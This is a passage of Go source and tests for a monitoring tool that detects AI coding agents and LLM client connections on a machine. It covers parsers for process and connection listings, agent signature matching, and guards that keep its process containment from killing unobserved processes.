if len(line) < 2 {
continue
}
switch line[0] {
case 'p':
n, err := strconv.Atoi(strings.TrimSpace(line[1:]))
if err != nil {
pid = 0
continue
}
pid = n
case 'n':
if pid <= 0 || pid == self {
continue
}
i := strings.Index(line, "->")
if i < 0 {
continue
}
ip, port, ok := splitHostPortLoose(line[i+2:])
if !ok {
continue
}
conns = append(conns, connObs{PID: pid, RemoteIP: ip, RemotePort: port})
}
}
return conns
}
// parseEnvTokenSpaced pulls one variable out of `ps -E` output, where the
// environment is space-separated rather than NUL-separated. The value ends at
// the next whitespace: a token with spaces in it could not survive this, and
// the tokens the host mints (del_ + base64url) never contain any.
func parseEnvTokenSpaced(s, key string) string {
pre := key + "="
for _, field := range strings.Fields(s) {
if strings.HasPrefix(field, pre) {
return field[len(pre):]
}
}
return ""
}
// ── Windows: the GetExtendedTcpTable buffers ────────────────────────────────
//
// Parsed here rather than beside the syscall so the byte layout is under test
// on the machine that runs CI. Layouts are the documented MIB structures; the
// two row shapes differ enough to be worth separate constants:
//
// MIB_TCPROW_OWNER_PID (24B): state, localAddr, localPort, remoteAddr, remotePort, pid
// MIB_TCP6ROW_OWNER_PID (56B): localAddr[16], localScope, localPort,
// remoteAddr[16], remoteScope, remotePort, state, pid
//
// Both tables are { DWORD dwNumEntries; ROW table[] } with the rows at offset 4.
// Ports are DWORDs whose LOW 16 bits hold the port in NETWORK byte order, so
// the first two bytes of the little-endian DWORD are the port, big-endian.
const (
winTCPRow4Size = 24
winTCPRow6Size = 56
winTCPStateEst = 5 // MIB_TCP_STATE_ESTAB
)
func winPortAt(b []byte) int {
if len(b) < 2 {
return 0
}
return int(binary.BigEndian.Uint16(b[:2]))
}
// parseTCPTable decodes an IPv4 or IPv6 owner-pid TCP table into the
// established outbound connections owned by other processes.
func parseTCPTable(buf []byte, v6 bool, self int) []connObs {
conns := []connObs{}
if len(buf) < 4 {
return conns
}
n := int(binary.LittleEndian.Uint32(buf[:4]))
rowSize := winTCPRow4Size
if v6 {
rowSize = winTCPRow6Size
}
for i := 0; i < n; i++ {
off := 4 + i*rowSize
if off+rowSize > len(buf) {
break
}
row := buf[off : off+rowSize]
var state, pid, port int
var ip net.IP
if v6 {
port = winPortAt(row[44:48])
state = int(binary.LittleEndian.Uint32(row[48:52]))
pid = int(binary.LittleEndian.Uint32(row[52:56]))
ip = net.IP(append([]byte(nil), row[24:40]...))
} else {
state = int(binary.LittleEndian.Uint32(row[0:4]))
ip = net.IP(append([]byte(nil), row[12:16]...))
port = winPortAt(row[16:20])
pid = int(binary.LittleEndian.Uint32(row[20:24]))
}
if state != winTCPStateEst || pid <= 0 || pid == self || port == 0 {
continue
}
conns = append(conns, connObs{PID: pid, RemoteIP: ip.String(), RemotePort: port})
}
return conns
}
// parseWinEnvBlock finds one variable in a process environment block read out
// of another process: UTF-16LE, NUL-separated entries, terminated by an empty
// entry. Bounded by the caller's read; a truncated block simply stops early
// rather than erroring, because a missing tag and an unreadable tag lead to
// the same conservative outcome (the agent reads as unrequested).
func parseWinEnvBlock(b []byte, key string) string {
pre := strings.ToUpper(key) + "="
u16 := make([]uint16, 0, len(b)/2)
for i := 0; i+1 < len(b); i += 2 {
u16 = append(u16, uint16(b[i])|uint16(b[i+1])<<8)
}
start := 0
for i := 0; i <= len(u16); i++ {
if i == len(u16) || u16[i] == 0 {
if i == start {
break // empty entry: end of block
}
entry := string(utf16Runes(u16[start:i]))
if len(entry) >= len(pre) && strings.ToUpper(entry[:len(pre)]) == pre {
return entry[len(pre):]
}
start = i + 1
}
}
return ""
}
// utf16Runes decodes a UTF-16 code-unit slice, including surrogate pairs.
func utf16Runes(u []uint16) []rune {
out := make([]rune, 0, len(u))
for i := 0; i < len(u); i++ {
c := u[i]
if c >= 0xD800 && c < 0xDC00 && i+1 < len(u) && u[i+1] >= 0xDC00 && u[i+1] < 0xE000 {
out = append(out, ((rune(c)-0xD800)<<10|(rune(u[i+1])-0xDC00))+0x10000)
i++
continue
}
out = append(out, rune(c))
}
return out
}
+744
View File
@@ -0,0 +1,744 @@
package main
import (
"encoding/binary"
"encoding/json"
"errors"
"os"
"strings"
"testing"
)
func TestParseEnvToken(t *testing.T) {
env := []byte("PATH=/usr/bin\x00PRIVATAE_AGENT_TOKEN=del_abc123\x00HOME=/root\x00")
if got := parseEnvToken(env, "PRIVATAE_AGENT_TOKEN"); got != "del_abc123" {
t.Errorf("parseEnvToken = %q, want del_abc123", got)
}
if got := parseEnvToken([]byte("PATH=/usr/bin\x00HOME=/root\x00"), "PRIVATAE_AGENT_TOKEN"); got != "" {
t.Errorf("parseEnvToken(absent) = %q, want empty", got)
}
// must not partial-match a different var ending in the key
if got := parseEnvToken([]byte("X_PRIVATAE_AGENT_TOKEN=nope\x00"), "PRIVATAE_AGENT_TOKEN"); got != "" {
t.Errorf("parseEnvToken(suffix) = %q, want empty", got)
}
}
func TestPidFromSSLine(t *testing.T) {
line := `ESTAB 0 0 10.0.0.1:54321 1.2.3.4:443 users:(("python3",pid=12345,fd=7))`
if got := pidFromSSLine(line); got != 12345 {
t.Errorf("pidFromSSLine = %d, want 12345", got)
}
if got := pidFromSSLine("ESTAB 0 0 10.0.0.1:1 1.2.3.4:443"); got != 0 {
t.Errorf("pidFromSSLine(no proc) = %d, want 0", got)
}
}
func TestBinBase(t *testing.T) {
cases := map[string]string{
"claude": "claude",
"/usr/local/bin/claude": "claude",
`C:\Program Files\node\node.exe`: "node",
`C:/tools/claude.EXE`: "claude",
" /opt/x/AIDER ": "aider",
"": "",
}
for in, want := range cases {
if got := binBase(in); got != want {
t.Errorf("binBase(%q) = %q, want %q", in, got, want)
}
}
}
func TestMatchAgentSignature(t *testing.T) {
cases := []struct {
argv []string
want string
ok bool
}{
{[]string{"claude"}, "claude-code", true},
{[]string{"/usr/local/bin/claude", "--resume"}, "claude-code", true},
{[]string{"node", "/usr/lib/node_modules/@anthropic-ai/claude-code/cli.js"}, "claude-code", true},
{[]string{"aider", "--model", "gpt-4"}, "aider", true},
{[]string{"cursor-agent"}, "cursor", true},
{[]string{"python3", "-m", "interpreter"}, "open-interpreter", false}, // bare "interpreter" only matches argv0 basename
{[]string{"interpreter"}, "open-interpreter", true},
{[]string{"sleep", "60"}, "", false},
{[]string{"bash"}, "", false},
{[]string{"/home/claudefile/script.sh"}, "", false}, // no false positive on a path substring
{[]string{"bash", "-c", "echo deploying claude-code now"}, "", false}, // a shell that MENTIONS the marker is NOT an agent
{[]string{"sh", "-c", "exec -a claude-code sleep 600"}, "", false}, // ditto — argv0=sh, not an interpreter
{[]string{"claude-code"}, "claude-code", true}, // direct binary named claude-code
{nil, "", false},
// Windows: Toolhelp hands back an image name, and the raw command line
// arrives as ONE extra element (never tokenized — see agents_windows.go).
{[]string{"claude.exe"}, "claude-code", true},
{[]string{"node.exe", `"C:\Program Files\nodejs\node.exe" C:\Users\a\AppData\npm\@anthropic-ai\claude-code\cli.js`}, "claude-code", true},
{[]string{"node.exe", `"C:\Program Files\nodejs\node.exe" server.js`}, "", false},
{[]string{"NOTEPAD.EXE"}, "", false},
}
for _, c := range cases {
got, ok := matchAgentSignature(c.argv)
if ok != c.ok || (ok && got != c.want) {
t.Errorf("matchAgentSignature(%v) = (%q,%v), want (%q,%v)", c.argv, got, ok, c.want, c.ok)
}
}
}
func TestSplitHostPortLoose(t *testing.T) {
cases := []struct {
in string
ip string
port int
ok bool
}{
{"1.2.3.4:443", "1.2.3.4", 443, true},
{"[fd00::1]:11434", "fd00::1", 11434, true},
{"[::1]:1234", "::1", 1234, true},
{"127.0.0.1:11434", "127.0.0.1", 11434, true},
{"nonsense", "", 0, false},
{"1.2.3.4:0", "", 0, false},
{"1.2.3.4:99999", "", 0, false},
{"", "", 0, false},
}
for _, c := range cases {
ip, port, ok := splitHostPortLoose(c.in)
if ok != c.ok || ip != c.ip || port != c.port {
t.Errorf("splitHostPortLoose(%q) = (%q,%d,%v), want (%q,%d,%v)", c.in, ip, port, ok, c.ip, c.port, c.ok)
}
}
}
func TestPortOfAddr(t *testing.T) {
cases := map[string]int{
"127.0.0.1:11434": 11434,
"http://127.0.0.1:8080": 8080,
"[::1]:1234": 1234,
"localhost:5000/v1": 5000,
"11434": 0, // a bare port is not an address
"localhost": 0,
"": 0,
}
for in, want := range cases {
if got := portOfAddr(in); got != want {
t.Errorf("portOfAddr(%q) = %d, want %d", in, got, want)
}
}
}
// The local-inference tiering is the part most able to cause harm: a wrong
// "strong" verdict raises an unrequested-agent alert on a developer running an
// ordinary web server on :8080.
func TestLocalLLMPortTiers(t *testing.T) {
t.Setenv("OLLAMA_ADDR", "")
t.Setenv("PRIVATAE_LLM_ADDR", "")
strong, weak := localLLMPorts()
if strong[11434] == "" {
t.Error("11434 must be strong: it is ollama's published default")
}
if weak[8080] == "" {
t.Error("8080 must be WEAK by default — it collides with ordinary web development")
}
if strong[8080] != "" {
t.Error("8080 must not be strong on a box that never declared an inference server there")
}
// Declared by the operator => the same port becomes evidence on its own.
t.Setenv("PRIVATAE_LLM_ADDR", "127.0.0.1:8080")
strong, weak = localLLMPorts()
if strong[8080] == "" {
t.Error("a port named by PRIVATAE_LLM_ADDR must be strong — the operator declared it")
}
if weak[8080] != "" {
t.Error("a port promoted to strong must not also remain weak")
}
}
func TestClassifyConn(t *testing.T) {
cloud := map[string]string{"1.2.3.4": "api.anthropic.com"}
strong := map[int]string{11434: "ollama"}
weak := map[int]string{8080: "llama.cpp/localai"}
if label, alone := classifyConn(connObs{RemoteIP: "1.2.3.4", RemotePort: 443}, cloud, strong, weak); label != "api.anthropic.com" || !alone {
t.Errorf("cloud endpoint = (%q,%v), want (api.anthropic.com,true)", label, alone)
}
if label, alone := classifyConn(connObs{RemoteIP: "127.0.0.1", RemotePort: 11434}, cloud, strong, weak); label != "local:11434 (ollama)" || !alone {
t.Errorf("known local = (%q,%v), want (local:11434 (ollama),true)", label, alone)
}
// A LAN GPU box is the same signal as loopback — the address is the user's
// choice, the port is the server's default.
if label, _ := classifyConn(connObs{RemoteIP: "192.168.1.50", RemotePort: 11434}, cloud, strong, weak); label != "local:11434 (ollama)" {
t.Errorf("LAN ollama = %q, want local:11434 (ollama)", label)
}
if label, alone := classifyConn(connObs{RemoteIP: "127.0.0.1", RemotePort: 8080}, cloud, strong, weak); label == "" || alone {
t.Errorf("ambiguous local = (%q,%v), want (non-empty,false)", label, alone)
}
if label, _ := classifyConn(connObs{RemoteIP: "10.0.0.9", RemotePort: 22}, cloud, strong, weak); label != "" {
t.Errorf("ssh = %q, want no classification", label)
}
}
func TestMergeConnections(t *testing.T) {
cloud := map[string]string{"1.2.3.4": "api.openai.com"}
strong := map[int]string{11434: "ollama"}
weak := map[int]string{8080: "llama.cpp/localai"}
info := func(pid int) procDetail {
return procDetail{User: "user", Cmdline: "some-cmd", Exe: "/opt/x/some-cmd"}
}
noParent := func(int) int { return 0 }
// A strong endpoint on an unknown process CREATES the disguised-agent observation.
byPid := map[int]agentObs{}
mergeConnections(byPid, []connObs{{PID: 7, RemoteIP: "127.0.0.1", RemotePort: 11434}}, cloud, strong, weak, info, noParent)
if a, ok := byPid[7]; !ok || a.Signature != "llm-client" || a.User != "user" || a.Kind != kindClient {
t.Fatalf("a strong local endpoint must create an llm-client observation, got %+v", byPid)
}
// A WEAK endpoint on an unknown process must NOT — this is the alarm-noise wall.
byPid = map[int]agentObs{}
mergeConnections(byPid, []connObs{{PID: 8, RemoteIP: "127.0.0.1", RemotePort: 8080}}, cloud, strong, weak, info, noParent)
if len(byPid) != 0 {
t.Fatalf("an ambiguous port must never promote an unknown process, got %+v", byPid)
}
// ...but it DOES annotate a process the signature scan already matched.
byPid = map[int]agentObs{9: {PID: 9, Signature: "aider"}}
mergeConnections(byPid, []connObs{{PID: 9, RemoteIP: "127.0.0.1", RemotePort: 8080}}, cloud, strong, weak, info, noParent)
if len(byPid[9].LLMEndpoints) != 1 {
t.Fatalf("an ambiguous port must annotate a known agent, got %+v", byPid[9])
}
// Endpoints de-duplicate across many connections to the same place.
byPid = map[int]agentObs{9: {PID: 9, Signature: "aider"}}
mergeConnections(byPid, []connObs{
{PID: 9, RemoteIP: "1.2.3.4", RemotePort: 443},
{PID: 9, RemoteIP: "1.2.3.4", RemotePort: 443},
}, cloud, strong, weak, info, noParent)
if got := byPid[9].LLMEndpoints; len(got) != 1 || got[0] != "api.openai.com" {
t.Fatalf("endpoints must de-duplicate, got %v", got)
}
}
// ── Linux ───────────────────────────────────────────────────────────────────
// Fixture copied from real `ss -tnpH state established` output. Filtering by
// state makes ss OMIT the State column, so the peer is field 3, not field 4 —
// the reason this parser is pinned by a test rather than eyeballed.
func TestParseSSOutput(t *testing.T) {
out := `0 0 10.0.0.1:54321 1.2.3.4:443 users:(("claude",pid=111,fd=7))
0 0 [fd00::2]:5555 [fd00::1]:11434 users:(("python3",pid=222,fd=9))
0 0 10.0.0.1:1 10.0.0.2:22
0 0 10.0.0.1:2 10.0.0.3:443 users:(("self",pid=999,fd=3))`
conns := parseSSOutput(out, 999)
if len(conns) != 2 {
t.Fatalf("want 2 (no-pid line and self dropped), got %d: %+v", len(conns), conns)
}
if conns[0].PID != 111 || conns[0].RemoteIP != "1.2.3.4" || conns[0].RemotePort != 443 {
t.Errorf("v4 row = %+v", conns[0])
}
if conns[1].PID != 222 || conns[1].RemoteIP != "fd00::1" || conns[1].RemotePort != 11434 {
t.Errorf("v6 row = %+v", conns[1])
}
}
// ── macOS ───────────────────────────────────────────────────────────────────
func TestParsePSOutput(t *testing.T) {
out := ` 501 400 user /usr/local/bin/claude --resume
502 1 root /usr/bin/node /opt/x/@anthropic-ai/claude-code/cli.js
1 0 root /sbin/launchd
junk`
users, argvs, parents := parsePSOutput(out)
if users[501] != "user" || len(argvs[501]) != 2 || argvs[501][0] != "/usr/local/bin/claude" {
t.Fatalf("pid 501 = %q %v", users[501], argvs[501])
}
if parents[501] != 400 || parents[502] != 1 {
t.Fatalf("parents = %v, want 501->400 and 502->1", parents)
}
if sig, ok := matchAgentSignature(argvs[502]); !ok || sig != "claude-code" {
t.Errorf("interpreter-wrapped agent from ps = (%q,%v)", sig, ok)
}
if _, ok := argvs[0]; ok {
t.Error("a malformed line must not produce a pid")
}
}
// ── the kernel's executable path (sanitizeExePath, parseProcargs2ExePath) ────
// The rule every platform's procExe answers through: ABSOLUTE OR EMPTY, and
// Linux's " (deleted)" marker stripped.
//
// The deleted case is measured, not assumed: a running binary here read
// "/tmp/x/sleepy" before `rm` and "/tmp/x/sleepy (deleted)" after. Keeping the
// suffix would silently un-mark a running agent the moment its package updated
// in place, which is the shape of control people stop using.
//
// MUTATION: drop the TrimSuffix for " (deleted)".
// RESULT: red — the same running program produced two different identities
// either side of an in-place update.
// MUTATION: return s unchanged instead of "" when !isAbsExePath(s).
// RESULT: red — "claude" (a relative exec) became an identity that any process
// started from any directory could match.
func TestSanitizeExePath(t *testing.T) {
for _, c := range []struct{ in, want string }{
{"/usr/local/bin/claude", "/usr/local/bin/claude"},
{"/tmp/x/sleepy (deleted)", "/tmp/x/sleepy"},
{`C:\Program Files\Claude\claude.exe`, `C:\Program Files\Claude\claude.exe`},
{`\\fileserver\tools\claude.exe`, `\\fileserver\tools\claude.exe`},
{" /usr/bin/node ", "/usr/bin/node"},
// Not identities: they name a file only against a working directory
// nobody recorded, so two processes started from different places would
// share one. Dropped to "" — unmarkable, which is the safe direction.
{"claude", ""},
{"./bin/claude", ""},
{"../claude", ""},
{"", ""},
{" ", ""},
// A relative path that merely LOOKS absolute on the other platform's
// convention is still relative. binBase (agents_parse.go:18-21) records
// why filepath.* cannot be used for this.
{`Program Files\claude.exe`, ""},
{"C:claude.exe", ""}, // drive-relative: no separator after the colon
} {
if got := sanitizeExePath(c.in); got != c.want {
t.Errorf("sanitizeExePath(%q) = %q, want %q", c.in, got, c.want)
}
}
// A path past any kernel's own limit is REFUSED, not cut down: two
// executables under one long directory would truncate to the same string
// and become one identity, which is a collision in the field whose whole
// job is telling programs apart.
//
// MUTATION: `return s[:4096]` instead of "" for an over-long path.
// RESULT: red — a path this machine could not have produced became an
// identity, and two of them would have become the same one.
long := "/" + strings.Repeat("a", 5000)
if got := sanitizeExePath(long); got != "" {
t.Errorf("a %d-character path became an identity of %d characters", len(long), len(got))
}
if got := sanitizeExePath("/" + strings.Repeat("a", 4095)); got == "" {
t.Error("a 4096-character path is inside Linux's own PATH_MAX and must be kept")
}
}
// macOS: the kernel's saved executable path is the first string after argc in a
// KERN_PROCARGS2 blob, and `ps -o comm=` cannot answer this question because it
// SKIPS that string to reach argv[0] (adv_cmds ps/print.c, getproclline).
//
// The fixture is built the way the kernel lays it out: argc, the exec path, the
// NUL padding it is aligned with, then argv[0] — which is given a DIFFERENT
// value on purpose, because reading argv[0] by mistake is the bug this parser
// exists to avoid and a fixture where they matched could not catch it.
//
// MUTATION: return the SECOND string instead of the first (skip past the exec
// path, as ps does).
// RESULT: red — the parser returned /home/user/.local/bin/claude, the forged
// argv[0], instead of the file the kernel loaded.
func TestParseProcargs2ExePath(t *testing.T) {
blob := func(argc int32, strs ...string) []byte {
b := make([]byte, 4)
binary.LittleEndian.PutUint32(b, uint32(argc))
for i, s := range strs {
b = append(b, []byte(s)...)
b = append(b, 0)
if i == 0 {
b = append(b, 0, 0, 0) // the kernel pads the exec path for alignment
}
}
return b
}
got := parseProcargs2ExePath(blob(2, "/usr/bin/sleep",
"/home/user/.local/bin/claude", "25"))
if got != "/usr/bin/sleep" {
t.Errorf("parseProcargs2ExePath = %q, want the kernel's /usr/bin/sleep — "+
"argv[0] is the value this must never return", got)
}
// The same sanitising as everywhere else: an app bundle path with spaces is
// kept whole, a relative saved path is not an identity.
if got := parseProcargs2ExePath(blob(1, "/Applications/My App.app/Contents/MacOS/My App", "x")); got !=
"/Applications/My App.app/Contents/MacOS/My App" {
t.Errorf("a path with spaces must survive whole, got %q", got)
}
if got := parseProcargs2ExePath(blob(1, "claude", "claude")); got != "" {
t.Errorf("a relative saved path must not become an identity, got %q", got)
}
// Refusals: nothing here may guess past a blob it does not understand. A
// short read is what a racing exec produces (the kernel then copies out the
// TAIL of the argument area, not its head — xnu sysctl_procargsx), and
// parsing that would invent a path out of somebody's environment.
for _, bad := range [][]byte{
nil,
{1, 2, 3}, // shorter than argc
{1, 0, 0, 0}, // argc with nothing after it
append(blob(1)[:4], []byte("/usr/b")...), // no terminator inside the buffer
{0xff, 0xff, 0xff, 0xff, '/', 'x', 0}, // negative argc: not this layout
} {
if got := parseProcargs2ExePath(bad); got != "" {
t.Errorf("parseProcargs2ExePath(% x) = %q, want empty", bad, got)
}
}
}
func TestParseLsofOutput(t *testing.T) {
out := `p111
n127.0.0.1:52000->127.0.0.1:11434
n10.0.0.1:52001->1.2.3.4:443
p222
n[::1]:52002->[::1]:1234
p999
n10.0.0.1:1->10.0.0.2:443
pbogus
n10.0.0.1:2->10.0.0.3:443`
conns := parseLsofOutput(out, 999)
if len(conns) != 3 {
t.Fatalf("want 3 (self and bogus-pid blocks dropped), got %d: %+v", len(conns), conns)
}
if conns[0].PID != 111 || conns[0].RemotePort != 11434 {
t.Errorf("row 0 = %+v", conns[0])
}
if conns[2].PID != 222 || conns[2].RemoteIP != "::1" || conns[2].RemotePort != 1234 {
t.Errorf("v6 row = %+v", conns[2])
}
}
func TestParseEnvTokenSpaced(t *testing.T) {
out := "node cli.js PATH=/usr/bin PRIVATAE_AGENT_TOKEN=del_xyz HOME=/Users/user"
if got := parseEnvTokenSpaced(out, "PRIVATAE_AGENT_TOKEN"); got != "del_xyz" {
t.Errorf("= %q, want del_xyz", got)
}
if got := parseEnvTokenSpaced("node cli.js PATH=/usr/bin", "PRIVATAE_AGENT_TOKEN"); got != "" {
t.Errorf("(absent) = %q, want empty", got)
}
}
// ── Windows ─────────────────────────────────────────────────────────────────
//
// The Win32 calls cannot run here, but every byte layout they produce can be
// built and decoded — which is the whole reason the parsers live outside the
// build-tagged file.
func winRow4(state uint32, remoteIP [4]byte, remotePort uint16, pid uint32) []byte {
row := make([]byte, winTCPRow4Size)
binary.LittleEndian.PutUint32(row[0:4], state)
copy(row[12:16], remoteIP[:])
binary.BigEndian.PutUint16(row[16:18], remotePort) // network order, low 16 bits
binary.LittleEndian.PutUint32(row[20:24], pid)
return row
}
func winRow6(state uint32, remoteIP [16]byte, remotePort uint16, pid uint32) []byte {
row := make([]byte, winTCPRow6Size)
copy(row[24:40], remoteIP[:])
binary.BigEndian.PutUint16(row[44:46], remotePort)
binary.LittleEndian.PutUint32(row[48:52], state)
binary.LittleEndian.PutUint32(row[52:56], pid)
return row
}
func winTable(rows ...[]byte) []byte {
buf := make([]byte, 4)
binary.LittleEndian.PutUint32(buf[0:4], uint32(len(rows)))
for _, r := range rows {
buf = append(buf, r...)
}
return buf
}
func TestParseTCPTableV4(t *testing.T) {
buf := winTable(
winRow4(winTCPStateEst, [4]byte{1, 2, 3, 4}, 443, 111),
winRow4(2 /* SYN_SENT */, [4]byte{5, 6, 7, 8}, 443, 222), // not established
winRow4(winTCPStateEst, [4]byte{127, 0, 0, 1}, 11434, 333),
winRow4(winTCPStateEst, [4]byte{9, 9, 9, 9}, 443, 999), // self
)
conns := parseTCPTable(buf, false, 999)
if len(conns) != 2 {
t.Fatalf("want 2 (non-established and self dropped), got %d: %+v", len(conns), conns)
}
if conns[0].PID != 111 || conns[0].RemoteIP != "1.2.3.4" || conns[0].RemotePort != 443 {
t.Errorf("row 0 = %+v", conns[0])
}
if conns[1].PID != 333 || conns[1].RemoteIP != "127.0.0.1" || conns[1].RemotePort != 11434 {
t.Errorf("row 1 = %+v", conns[1])
}
}
func TestParseTCPTableV6(t *testing.T) {
var loop [16]byte
loop[15] = 1 // ::1
buf := winTable(winRow6(winTCPStateEst, loop, 1234, 444))
conns := parseTCPTable(buf, true, 1)
if len(conns) != 1 {
t.Fatalf("want 1, got %d: %+v", len(conns), conns)
}
if conns[0].PID != 444 || conns[0].RemoteIP != "::1" || conns[0].RemotePort != 1234 {
t.Errorf("v6 row = %+v", conns[0])
}
}
func TestParseTCPTableTruncated(t *testing.T) {
// A table claiming more rows than the buffer holds must stop, not panic.
buf := make([]byte, 4+winTCPRow4Size)
binary.LittleEndian.PutUint32(buf[0:4], 50)
binary.LittleEndian.PutUint32(buf[4:8], winTCPStateEst)
binary.LittleEndian.PutUint32(buf[24:28], 7)
if got := parseTCPTable(buf, false, 1); len(got) > 1 {
t.Fatalf("truncated table must stop at the buffer end, got %d rows", len(got))
}
if got := parseTCPTable(nil, false, 1); len(got) != 0 {
t.Fatalf("nil buffer = %d rows, want 0", len(got))
}
if got := parseTCPTable([]byte{1, 2}, true, 1); len(got) != 0 {
t.Fatalf("short buffer = %d rows, want 0", len(got))
}
}
func utf16le(s string) []byte {
b := make([]byte, 0, len(s)*2)
for _, r := range s {
b = append(b, byte(r), byte(r>>8))
}
return b
}
func TestParseWinEnvBlock(t *testing.T) {
var blk []byte
for _, e := range []string{`PATH=C:\Windows`, "PRIVATAE_AGENT_TOKEN=del_win1", `HOME=C:\Users\a`} {
blk = append(blk, utf16le(e)...)
blk = append(blk, 0, 0)
}
blk = append(blk, 0, 0) // terminating empty entry
if got := parseWinEnvBlock(blk, "PRIVATAE_AGENT_TOKEN"); got != "del_win1" {
t.Errorf("= %q, want del_win1", got)
}
// Windows environment names are case-insensitive.
var lower []byte
lower = append(lower, utf16le("privatae_agent_token=del_win2")...)
lower = append(lower, 0, 0, 0, 0)
if got := parseWinEnvBlock(lower, "PRIVATAE_AGENT_TOKEN"); got != "del_win2" {
t.Errorf("case-insensitive lookup = %q, want del_win2", got)
}
// A block truncated by the bounded read must not loop or panic.
if got := parseWinEnvBlock(utf16le(`PATH=C:\Windows`), "PRIVATAE_AGENT_TOKEN"); got != "" {
t.Errorf("truncated block = %q, want empty", got)
}
if got := parseWinEnvBlock(nil, "PRIVATAE_AGENT_TOKEN"); got != "" {
t.Errorf("nil block = %q, want empty", got)
}
}
// ── the bastion must not report its own local agent as an unsanctioned agent ──
func TestFaOwnChildExclusion(t *testing.T) {
if faIsOwnChild(4242) {
t.Fatal("an untracked pid must not read as our own child")
}
faTrackPID(4242)
if !faIsOwnChild(4242) {
t.Fatal("a tracked local agent child must be excluded from the observe plane")
}
faUntrackPID(4242)
if faIsOwnChild(4242) {
t.Fatal("an exited child must stop being excluded — its pid gets reused")
}
faTrackPID(0)
if faIsOwnChild(0) {
t.Fatal("pid 0 is not a child")
}
}
// TestScanAgentsLive exercises the REAL enumerators on the machine running the
// tests. Guarded like the local agent end-to-end test: it asserts nothing about
// what it finds (a quiet box is a valid result) — it proves the platform path
// executes and returns coherent records. PRIVATAE_OBSERVE_LIVE=1 to run.
func TestScanAgentsLive(t *testing.T) {
if os.Getenv("PRIVATAE_OBSERVE_LIVE") != "1" {
t.Skip("set PRIVATAE_OBSERVE_LIVE=1 to scan this machine")
}
if !agentScanSupported {
t.Skipf("no observe-plane enumerator for this platform (%s)", agentScanKind)
}
agents, err := scanAgents()
if err != nil {
t.Fatal(err)
}
t.Logf("scan kind=%s observed=%d", agentScanKind, len(agents))
for _, a := range agents {
if a.PID <= 0 || a.Signature == "" {
t.Errorf("incoherent observation: %+v", a)
}
t.Logf(" pid=%-8d sig=%-14s user=%-10s endpoints=%v cmd=%.60s",
a.PID, a.Signature, a.User, a.LLMEndpoints, a.Cmdline)
}
}
// ── review follow-ups ───────────────────────────────────────────────────────
func TestIsLocalScope(t *testing.T) {
local := []string{"127.0.0.1", "::1", "192.168.1.50", "10.0.0.9", "172.16.0.1",
"fd00::1", "fe80::1", "100.64.0.9"} // incl. the mesh's own CGNAT range
for _, ip := range local {
if !isLocalScope(ip) {
t.Errorf("isLocalScope(%q) = false, want true", ip)
}
}
for _, ip := range []string{"1.2.3.4", "8.8.8.8", "2606:4700::1", "", "garbage"} {
if isLocalScope(ip) {
t.Errorf("isLocalScope(%q) = true, want false", ip)
}
}
}
// A model served from a PUBLIC address is still self-hosted inference — the
// behaviour is deliberate — but labelling it "local:" reads as a lie.
func TestClassifyConnNamesNonLocalByAddress(t *testing.T) {
strong := map[int]string{11434: "ollama"}
weak := map[int]string{8080: "llama.cpp/localai"}
cloud := map[string]string{}
if label, alone := classifyConn(connObs{RemoteIP: "192.168.1.50", RemotePort: 11434}, cloud, strong, weak); label != "local:11434 (ollama)" || !alone {
t.Errorf("LAN = (%q,%v), want (local:11434 (ollama),true)", label, alone)
}
if label, alone := classifyConn(connObs{RemoteIP: "203.0.113.7", RemotePort: 11434}, cloud, strong, weak); label != "203.0.113.7:11434 (ollama)" || !alone {
t.Errorf("public = (%q,%v), want (203.0.113.7:11434 (ollama),true)", label, alone)
}
// The two facts stay independent: address class in the prefix, port
// confidence in the "?" suffix.
if label, alone := classifyConn(connObs{RemoteIP: "203.0.113.7", RemotePort: 8080}, cloud, strong, weak); label != "203.0.113.7:8080 (llama.cpp/localai?)" || alone {
t.Errorf("public ambiguous = (%q,%v)", label, alone)
}
if label, _ := classifyConn(connObs{RemoteIP: "127.0.0.1", RemotePort: 8080}, cloud, strong, weak); label != "local:8080 (llama.cpp/localai?)" {
t.Errorf("loopback ambiguous = %q", label)
}
}
// The contain guard must ask the same question the heartbeat answers, on every
// platform — it was /proc-only (inert on Windows and macOS) and
// signature-only (an observed llm-client could never be contained).
func TestObservedAgentPIDsCoversEveryObservation(t *testing.T) {
prev := observedAgents
defer func() { observedAgents = prev }()
observedAgents = func() ([]agentObs, error) {
return []agentObs{
{PID: 101, Signature: "claude-code"},
// caught by the NETWORK signal only — no process signature at all
{PID: 202, Signature: "llm-client", LLMEndpoints: []string{"local:11434 (ollama)"}},
}, nil
}
got := observedAgentMap()
if _, ok := got[101]; !ok {
t.Error("a signature-matched agent must be containable")
}
if _, ok := got[202]; !ok {
t.Error("an llm-client must be containable — it is exactly what the network signal exists to catch")
}
if _, ok := got[303]; ok {
t.Error("a pid that was never observed must NEVER be containable")
}
// A platform with no enumerator contains nothing: a box that cannot see
// must not kill on the host's belief.
observedAgents = func() ([]agentObs, error) { return nil, nil }
if len(observedAgentMap()) != 0 {
t.Error("a blind box must contain nothing")
}
}
func TestMaybeContainRefusesUnobserved(t *testing.T) {
prev := observedAgents
defer func() { observedAgents = prev }()
observedAgents = func() ([]agentObs, error) { return []agentObs{{PID: 101, Signature: "claude-code"}}, nil }
// Nothing here may kill: pid 1, our own pid, and an unobserved pid are all
// refused. If the guard regressed, this test would terminate the test run.
self := os.Getpid()
body := []byte(`{"contain":[1,` + itoa(self) + `,303]}`)
maybeContain("", "", body) // must return without killing anything
maybeContain("", "", []byte(`{}`))
maybeContain("", "", []byte(`not json`))
}
func itoa(n int) string {
if n == 0 {
return "0"
}
var b []byte
for n > 0 {
b = append([]byte{byte('0' + n%10)}, b...)
n /= 10
}
return string(b)
}
// A walk that did not happen must not travel as an empty list. The host reads
// `agents: []` from a box advertising agent-observe as "looked and found
// nothing" — which marks a containment the user ordered as done — so a failed
// enumeration withholds the key and the host holds the order.
func TestTheBeatWithholdsAgentsWhenTheWalkFails(t *testing.T) {
t.Setenv("OLLAMA_ADDR", "127.0.0.1:1")
prev := scanProcessesFn
t.Cleanup(func() { scanProcessesFn = prev })
beat := func() map[string]any {
t.Helper()
var m map[string]any
if err := json.Unmarshal([]byte(buildHeartbeatBody("", "box", "linux", "test", "pub", "fp", "", "", false, nil, nil, nil)), &m); err != nil {
t.Fatal(err)
}
return m
}
scanProcessesFn = func() (map[int]agentObs, error) { return nil, errors.New("read /proc: permission denied") }
m := beat()
if v, present := m["agents"]; present {
t.Fatalf("a failed walk travelled as %v — the host reads that as 'looked, nothing there'", v)
}
if _, present := m["agent_scan_ok"]; present {
